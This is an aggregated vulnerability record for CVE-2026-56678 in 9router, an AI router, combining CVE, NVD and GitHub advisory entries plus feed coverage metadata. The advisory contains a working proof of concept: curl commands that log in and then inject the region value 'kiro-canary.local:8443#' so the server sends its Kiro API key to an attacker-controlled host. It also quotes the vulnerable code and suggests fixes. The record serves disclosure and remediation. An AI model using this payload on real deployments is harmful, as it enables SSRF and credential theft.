{"id":"CVE-2026-56678","revision":null,"records":[{"revision":"272fa9dfc9b74b1a961083b6c16d3a07","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-56678","aliases":[],"title":"9Router: Kiro region injection allows authenticated SSRF with Authorization header forwarding","description":"9Router is an AI router & token saver. Prior to 0.5.6, the Kiro API-key validation endpoint POST /api/oauth/kiro/api-key builds an upstream URL using a user-controlled region value, allowing an authenticated attacker to supply a crafted region such as kiro-canary.local:8443# and cause 9Router to send the Kiro validation request to an attacker-controlled host while forwarding the submitted Kiro API key as an Authorization header. This issue is fixed in version 0.5.6.","state":0,"publishedAt":"2026-07-15T20:51:33.19+00:00","modifiedAt":"2026-07-16T12:53:24.795+00:00","affected":[{"ecosystem":"Vendor product","name":"9router","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"decolua\",\n                    \"product\": \"9router\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.5.6\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N","score":6.4,"severity":"MEDIUM"}],"references":["https://github.com/decolua/9router/security/advisories/GHSA-6mwv-4mrm-5p3m","https://github.com/decolua/9router/commit/126aa244c5b51b74ab8c7594e3418fcf4437bf6f","https://github.com/decolua/9router/releases/tag/v0.5.6"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-56678","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-56678","identifiers":["CVE-2026-56678"]},"retained":false,"historicalAffected":[]},{"revision":"c7d88c9b9f564811946e0f01a20f3c1a","observedAt":"2026-10-25T14:19:10.848+00:00","statement":{"source":"nvd","id":"CVE-2026-56678","aliases":[],"title":"9Router is an AI router & token saver. Prior to 0.5.6, the Kiro API-key validation endpoint POST /api/oauth/kiro/api-key builds an upstream URL using a user-controlled region value, allowing an authenticated attacker to supply a crafted reg…","description":"9Router is an AI router & token saver. Prior to 0.5.6, the Kiro API-key validation endpoint POST /api/oauth/kiro/api-key builds an upstream URL using a user-controlled region value, allowing an authenticated attacker to supply a crafted region such as kiro-canary.local:8443# and cause 9Router to send the Kiro validation request to an attacker-controlled host while forwarding the submitted Kiro API key as an Authorization header. This issue is fixed in version 0.5.6.","state":0,"publishedAt":"2026-07-15T21:16:55.43+00:00","modifiedAt":"2026-10-24T21:10:00.13+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N","score":6.4,"severity":"MEDIUM"}],"references":["https://github.com/decolua/9router/commit/126aa244c5b51b74ab8c7594e3418fcf4437bf6f","https://github.com/decolua/9router/releases/tag/v0.5.6","https://github.com/decolua/9router/security/advisories/GHSA-6mwv-4mrm-5p3m"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-56678","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-20","CWE-918"],"productCriteria":[],"sourceDates":{"published":"2026-07-15T21:16:55.430","lastModified":"2026-10-24T21:10:00.130"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-56678","identifiers":["CVE-2026-56678"]},"retained":false,"historicalAffected":[]},{"revision":"0a95a485629b439ba5003e4f6a841584","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-6mwv-4mrm-5p3m","aliases":["CVE-2026-56678"],"title":"9router: Kiro region injection allows authenticated SSRF with Authorization header forwarding","description":"### Summary\n\nThe Kiro API-key validation endpoint builds an upstream URL using a user-controlled\n`region` value. By supplying a crafted region such as `kiro-canary.local:8443#`, an\nauthenticated attacker can cause 9router to send the Kiro validation request to an\nattacker-controlled host under the constructed `codewhisperer.<region>` hostname. The\nrequest forwards the submitted Kiro API key as an `Authorization: Bearer` header.\n\n### Details\n\n- **Affected version / commit:** 9router v0.5.2 @ `5da508a`.\n- **Endpoint:** `POST /api/oauth/kiro/api-key`.\n- **Correct runtime payload:** `region: \"kiro-canary.local:8443#\"`.\n- Do **not** use the old `@host#` payload (`region: \"@kiro-canary.local:8443#\"`); it is\n  blocked by Node/undici `fetch()` because it creates URL credentials\n  (`\"Request cannot be constructed from a URL that includes credentials\"`).\n- **Constructed upstream host becomes:** `codewhisperer.kiro-canary.local:8443`\n  (the `#` turns the trailing `.amazonaws.com` into a URL fragment).\n- HTTPS canary captured: `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO`.\n- TLS verification was **not** globally disabled; the reproduction uses a local CA via\n  `NODE_EXTRA_CA_CERTS`.\n- The no-auth control returns 401, so this standalone issue is **authenticated**.\n- `SameSite=Lax` on the session cookie prevents cross-site POST cookie delivery, so do\n  **not** claim drive-by CSRF unless another same-site / auth-bypass primitive is\n  chained.\n\n**Root cause.** The route reads `region` straight from the request body and passes it,\nunvalidated, into the upstream URL template; the bearer credential is forwarded to that\nhost, and the upstream response body is reflected back to the client on error:\n\n```js\n// src/app/api/oauth/kiro/api-key/route.js\nconst { apiKey, region } = await request.json();\n...\nconst credential = await kiroService.validateApiKey(apiKey, region || \"us-east-1\");\n...\n} catch (error) {\n  return NextResponse.json({ error: error.message }, { status: 500 });   // reflects upstream body\n}\n```\n\n```js\n// src/lib/oauth/services/kiro.js — listAvailableProfiles()\nconst endpoint = `https://codewhisperer.${region}.amazonaws.com`;        // region interpolated\nconst response = await fetch(endpoint, {\n  method: \"POST\",\n  headers: {\n    \"x-amz-target\": \"AmazonCodeWhispererService.ListAvailableProfiles\",\n    \"Authorization\": `Bearer ${accessToken}`,                            // credential forwarded\n    ...\n  },\n  body: JSON.stringify({ maxResults: 10 }),\n});\nif (!response.ok) {\n  const error = await response.text();\n  throw new Error(`Failed to list profiles: ${error}`);                  // upstream body -> error.message\n}\n```\n\nThere is no allowlist on `region`, and the call uses the default fetch dispatcher (no\ninternal-IP denylist / DNS pinning), so a `codewhisperer.<attacker-domain>` that resolves\nto an internal address (e.g. `169.254.169.254` or RFC1918) would be reached.\n\n### PoC\n\nStart the package:\n\n```bash\ndocker compose up --build\n```\n\nThe endpoint is authenticated, so first obtain a dashboard session using the password\nconfigured in `docker-compose.yml` (`INITIAL_PASSWORD`), saving the cookie:\n\n```bash\ncurl -i -c session.txt -X POST http://127.0.0.1:18184/api/auth/login \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"password\":\"repro-dashboard-pass\"}'\n```\n\nThen send the region-injection request with that session cookie:\n\n```bash\ncurl -i -b session.txt -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"apiKey\":\"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO\",\"region\":\"kiro-canary.local:8443#\"}'\n```\n\nExpected:\n\n- 9router returns a 500 whose body contains a controlled canary marker, indicating the\n  validation request reached the canary and its response was reflected.\n- `docker compose logs kiro-canary` shows a request with:\n  - `Host: codewhisperer.kiro-canary.local:8443`\n  - `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO`\n\nNo-auth control (no session cookie):\n\n```bash\ncurl -i -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"apiKey\":\"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO\",\"region\":\"kiro-canary.local:8443#\"}'\n```\n\nExpected: 401 Unauthorized.\n\nSafe-region control (`region: \"us-east-1\"`): no canary hit; the blackholed AWS host is\nnever contacted.\n\n### Impact\n\nAn authenticated attacker can make the server send a Kiro validation request to an\nattacker-controlled host and forward the submitted Kiro API key in the Authorization\nheader. This can be used for SSRF and credential forwarding during Kiro API-key\nvalidation. The issue is authenticated as a standalone bug.\n\n### Screenshots\n\nThe following screenshots show the safe-region control, the region-injection SSRF trigger, the HTTPS canary evidence, and the no-auth control.\n\n#### 1. Safe-region control — normal Kiro validation path\n\n<img width=\"1548\" height=\"831\" alt=\"01-kiro-safe-region-control\" src=\"https://github.com/user-attachments/assets/0a07d82c-16f0-4af3-97f2-145578c9e47b\" />\n\n>**An authenticated request to `/api/oauth/kiro/api-key` using the valid region `us-east-1` and a dummy API key completes normally with `200 OK`. This establishes the expected non-malicious validation path.**\n\n#### 2. Region-injection SSRF trigger — canary marker reflected\n\n<img width=\"1547\" height=\"840\" alt=\"02-kiro-region-injection-ssrf-500-reflection\" src=\"https://github.com/user-attachments/assets/f31a1471-ce8b-490c-a439-58089b3ac780\" />\n\n>**An authenticated request supplies the crafted region value `kiro-canary.local:8443#`. Because the upstream URL is built from the raw `region` value, the request is routed to the attacker-controlled canary host under the constructed `codewhisperer.<attacker-domain>` hostname. The response contains a canary marker, confirming the server-side request reached the controlled endpoint.**\n\n#### 3. HTTPS canary evidence — Authorization header forwarded\n\n<img width=\"1476\" height=\"960\" alt=\"03-kiro-canary-authorization-captured\" src=\"https://github.com/user-attachments/assets/2f445daa-307b-4223-92e8-7482d745d2b1\" />\n\n>**The HTTPS canary logs show a server-side request from the 9router container with `Host: codewhisperer.kiro-canary.local:8443` and `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO`. This confirms that the injected region controls the constructed upstream host and that 9router forwards the submitted Kiro API key to that host.**\n\n#### 4. No-auth control — endpoint requires authentication\n\n<img width=\"1544\" height=\"839\" alt=\"04-kiro-no-auth-control-401\" src=\"https://github.com/user-attachments/assets/664955ab-35a3-4c5f-bd5e-bd049f17b0c9\" />\n\n>**The same region-injection payload is sent without an authenticated session cookie, and the server returns `401 Unauthorized`. This confirms the issue is authenticated as a standalone vulnerability and should not be described as unauthenticated unless it is chained with a separate authentication bypass.**\n\n### Suggested Fix\n\n- Validate `region` against a strict allowlist of known Kiro/AWS regions\n  (e.g. `^[a-z]{2}-[a-z]+-\\d$`).\n- Construct upstream endpoints only from fixed enum values.\n- Reject region values containing colon, slash, hash, at-sign, userinfo, whitespace, or\n  hostname separators.\n- After URL construction, validate that the final hostname exactly matches the expected\n  AWS/Kiro hostname pattern.\n- Do not forward Authorization headers to hosts derived from untrusted input, and stop\n  reflecting upstream response bodies in `error.message`.","state":0,"publishedAt":"2026-09-23T18:12:30+00:00","modifiedAt":"2026-09-23T18:27:55.5549475+00:00","affected":[{"ecosystem":"npm","name":"9router","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.5.6"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/decolua/9router/security/advisories/GHSA-6mwv-4mrm-5p3m","https://nvd.nist.gov/vuln/detail/CVE-2026-56678","https://github.com/decolua/9router/commit/126aa244c5b51b74ab8c7594e3418fcf4437bf6f","https://github.com/decolua/9router","https://github.com/decolua/9router/releases/tag/v0.5.6"],"sourceUrl":"https://github.com/advisories/GHSA-6mwv-4mrm-5p3m","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-6mwv-4mrm-5p3m","identifiers":["GHSA-6mwv-4mrm-5p3m","CVE-2026-56678"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-27T04:23:20.6482565+00:00","complete":true,"records":1758,"lastAttemptAt":"2026-10-27T04:23:20.6482565+00:00","lastSuccessAt":"2026-10-27T04:23:21.0403366+00:00","error":null,"lastVerifiedAt":"2026-10-27T04:23:21.0403386+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-187d2b72c94ceb8c4417f1032ec3109a3a3a7b730abadb561d8cdd2a96e04d27-44adb5fc4ec2447b4a14a9a186d21f635f5ab0fe59c9ca03fbd7387196ed1b95","complete":true,"records":414861,"lastAttemptAt":"2026-10-27T04:23:19.4839227+00:00","lastSuccessAt":"2026-10-27T04:23:19.4592214+00:00","error":null,"lastVerifiedAt":"2026-10-27T04:23:19.4839227+00:00","snapshotPublishedAt":"2026-10-27T03:23:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-27T04:24:29.5120624+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":0,"expectedIdentifiers":13477},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-27T04:23:20.6482565+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-27T04:23:20.6482565+00:00","lastSuccessAt":"2026-10-27T04:23:21.0415276+00:00","error":null,"lastVerifiedAt":"2026-10-27T04:23:21.0415281+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-1e75823a9a3a4b74973abff44e356610","complete":false,"records":13416,"lastAttemptAt":"2026-10-27T04:24:27.4557647+00:00","lastSuccessAt":"2026-10-27T04:24:27.452+00:00","error":null,"lastVerifiedAt":"2026-10-27T04:24:27.452+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13077,"expectedIdentifiers":13477},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-c3121b113ecd88f1c92ccfa0ec9757ddc8386e4c12afd2597450b815744f800a","complete":true,"records":9779,"lastAttemptAt":"2026-10-27T04:23:20.1429206+00:00","lastSuccessAt":"2026-10-26T15:37:14.3083004+00:00","error":null,"lastVerifiedAt":"2026-10-27T04:23:20.1429206+00:00","snapshotPublishedAt":"2026-10-26T14:48:41+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-bad5d31e7f6a5e3d338e11d8789069b63620a403f927730769688b42f768e4f6","complete":true,"records":1965,"lastAttemptAt":"2026-10-27T04:23:19.6550338+00:00","lastSuccessAt":"2026-10-26T16:35:43.1460623+00:00","error":null,"lastVerifiedAt":"2026-10-27T04:23:19.6550338+00:00","snapshotPublishedAt":"2026-10-26T16:18:29+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-a393d8fe0ae8408f3e4cab413b76047090c8e4a3c0a186c79edf33c9a3d3af95","complete":true,"records":2995,"lastAttemptAt":"2026-10-27T04:23:20.5252815+00:00","lastSuccessAt":"2026-10-26T14:35:47.9640893+00:00","error":null,"lastVerifiedAt":"2026-10-27T04:23:20.5252815+00:00","snapshotPublishedAt":"2026-10-26T14:18:55+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-2c2579bb03487537529e2b647fd2d9950cfc0fec1a9832dba33e322b8dcbe369","complete":true,"records":230812,"lastAttemptAt":"2026-10-27T04:23:20.0379863+00:00","lastSuccessAt":"2026-10-26T21:37:26.5810298+00:00","error":null,"lastVerifiedAt":"2026-10-27T04:23:20.0379863+00:00","snapshotPublishedAt":"2026-10-26T21:33:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}